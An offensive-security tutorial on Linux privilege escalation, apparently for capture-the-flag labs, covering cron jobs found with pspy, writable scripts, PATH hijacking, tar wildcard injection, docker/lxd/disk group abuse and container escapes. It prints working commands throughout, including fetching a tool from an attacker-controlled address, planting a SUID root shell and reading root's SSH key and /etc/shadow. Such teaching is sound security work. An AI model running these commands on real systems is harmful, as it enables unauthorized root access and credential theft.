Linux privilege escalation: cron jobs, PATH hijacking, wildcards and the docker or lxd groups
When sudo and SUID give nothing: cron jobs with pspy, PATH hijacking, tar and rsync wildcards, and root from the docker, lxd, disk or adm groups.
This guide follows on from sudo, SUID and capabilities. If those three checks gave nothing, the next most common routes in the catalogue are something root runs on its own (a cron job) and a group worth as much as root (privileged groups).
id # which groups are you in?
cat /etc/crontab; ls -la /etc/cron.* /var/spool/cron 2>/dev/null
systemctl list-timers --all
1. Cron jobs you cannot see
Often the job lives in root's crontab, which you cannot read. To see it, watch for processes as they appear: pspy does it without needing any privileges.
# on your box: python3 -m http.server 80
wget http://10.10.14.5/pspy64 -O /tmp/pspy && chmod +x /tmp/pspy
/tmp/pspy -pf -i 1000
Wait a couple of minutes. Look for lines with UID=0 that repeat every minute or every five:
CMD: UID=0 PID=4123 | /bin/sh -c /opt/backup/backup.sh
CMD: UID=0 PID=4125 | tar czf /var/backups/web.tgz *
That leaves three questions, and each one is a section of this guide:
- Can I write to the script or to something the script loads? → modify it.
- Does it call programs without an absolute path? → PATH hijacking.
- Does it use a wildcard (
*) in a folder where I can create files? → wildcard injection.
Writable script
ls -la /opt/backup/backup.sh
echo 'cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash' >> /opt/backup/backup.sh
# wait for the next minute
/tmp/rootbash -p
Also look at what the script imports: a .py doing import util looks for util.py in its own folder first (library hijacking); a script doing source /etc/app.conf runs whatever you put in that file.
2. PATH hijacking
If a script or a SUID binary runs tar instead of /usr/bin/tar, the system looks for tar in each PATH folder, in order. If you control a folder that comes first, your tar wins.
# Which PATH does cron use? Check /etc/crontab (the PATH=... line)
grep PATH /etc/crontab
# Is any folder in that PATH writable for you?
for d in $(echo "$PATH" | tr ':' ' '); do [ -w "$d" ] && echo "writable: $d"; done
With a SUID binary or a sudo rule with SETENV, you control the PATH yourself:
strings /usr/local/bin/tool | grep -v / | head # program names without a path
cd /tmp && echo -e '#!/bin/bash\n/bin/bash -p' > tar && chmod +x tar
PATH=/tmp:$PATH /usr/local/bin/tool
On Writeup the trick is that the staff group can write to /usr/local/bin, which comes before /usr/bin in almost everyone's PATH.
3. Wildcards
When the shell expands *, file names become arguments. If a file is called --checkpoint=1, tar reads it as an option. This is wildcard injection.
# root runs, inside /var/www/html: tar czf /tmp/backup.tgz *
cd /var/www/html
echo 'cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash' > shell.sh
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh shell.sh'
Other programs with dangerous options: rsync (-e sh shell.sh), chown and chmod (--reference=your_file) and 7z (@list reads a file that can be a symlink to /root/.ssh/id_rsa).
4. Groups worth as much as root
| Group | Why | Abuse |
|---|---|---|
docker |
You can start a container that mounts the host's / |
docker run -v /:/mnt --rm -it alpine chroot /mnt sh |
lxd / lxc |
Same as docker, with a privileged container | See below |
disk |
Raw access to the disk | debugfs /dev/sda1 then cat /root/.ssh/id_rsa |
adm |
Reads the logs in /var/log |
Look for passwords in auth.log, apache2/access.log, auditd |
shadow |
Reads /etc/shadow |
Crack the hashes (hash cracking guide) |
video |
Reads the framebuffer | Grab the screen of whoever is logged in |
sudo / wheel / admin |
Can use sudo | You only need the user's password |
lxd step by step
# On your box: build a small Alpine image
git clone https://github.com/saghul/lxd-alpine-builder && cd lxd-alpine-builder && sudo ./build-alpine
# On the target (upload the .tar.gz)
lxc image import ./alpine-*.tar.gz --alias pwn
lxc init pwn pwn -c security.privileged=true
lxc config device add pwn hostroot disk source=/ path=/mnt/root recursive=true
lxc start pwn && lxc exec pwn /bin/sh
cat /mnt/root/root/root.txt
If lxc init complains there is no storage, run lxd init --auto first. It is the root path on Tabby.
5. If you are inside a container
An odd hostname, a /.dockerenv or very few processes in ps aux tell you that you are in a container. Before looking for the escalation, get out of it (container escapes):
ls -la /.dockerenv; cat /proc/1/cgroup
ls -la /var/run/docker.sock # if it exists, you control the host's docker
capsh --print | grep -i sys_admin # privileged container: you can mount the host's disk
fdisk -l 2>/dev/null; mount | grep -v proc
With the Docker socket reachable, use the API to start a container that mounts / (curl --unix-socket /var/run/docker.sock ...), just like with the docker group.
Common errors
- pspy shows nothing useful: give it more time; some jobs run every 5, 10 or 15 minutes. Try
-fto also see file access. /tmp/rootbash -pleaves you without root:/tmpis mounted withnosuid. Use another folder (/dev/shm,/var/tmp) or add your key to/root/.ssh/authorized_keys.- The
--checkpointfiles do nothing: the command does not use*but an absolute path (/var/www/html/*works;tar czf x.tgz /var/www/htmldoes not).
What next
If none of this shows up, look at services listening only locally (ss -tlnp) and reach them with port forwarding; hunt for credentials in files and try password reuse. The post-exploitation checklist has the full order.